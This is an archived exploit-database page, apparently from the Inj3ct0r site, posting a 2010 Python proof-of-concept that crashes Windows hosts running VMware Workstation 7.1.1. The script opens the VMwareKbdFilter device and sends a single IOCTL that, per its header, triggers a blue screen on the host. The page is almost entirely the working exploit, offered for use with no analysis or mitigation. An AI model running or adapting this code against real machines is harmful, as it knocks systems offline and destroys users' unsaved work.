Home / os / win7

[dos / poc] - VMware Workstation <= 7.1.1 VMkbd.sys Denia

Posted on 25 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>VMware Workstation &lt;= 7.1.1 VMkbd.sys Denial of Service | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 25 Sep 2010 | Exploit category: dos / poc | Exploit author: Lufeng Li | Inj3ct0r exploit database' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>=======================================================
VMware Workstation &lt;= 7.1.1 VMkbd.sys Denial of Service
=======================================================

#!/usr/bin/python
 
#################################################################
#
# Title: VMware Workstation &lt;= 7.1.1 VMkbd.sys Denial of Service Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.vmware.com
# Platform: Windows Vista
# Tested: VMware Workstation v7.1.1 build-282343
# Vulnerable: VMware Workstation &lt;= 7.1.1 build-282343
# Vendor: http://www.vmware.com/
# Test: Run this Script on host OS will make host OS BSoD
#
#################################################################
 
from ctypes import *
 
kernel32 = windll.kernel32
Psapi    = windll.Psapi
 
if __name__ == &#039;__main__&#039;:
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
    DEVICE_NAME   = &quot;\\.\VMwareKbdFilter&quot;
 
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =&#039;&#039;
    out_data      =&#039;&#039;
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                        0, None, CREATE_ALWAYS, 0, None)
 
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb204c, in_data,0, out_data, 0,byref(dwReturn), None)


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-25]</pre></body></html>

 

TOP

Malware :

Exploits :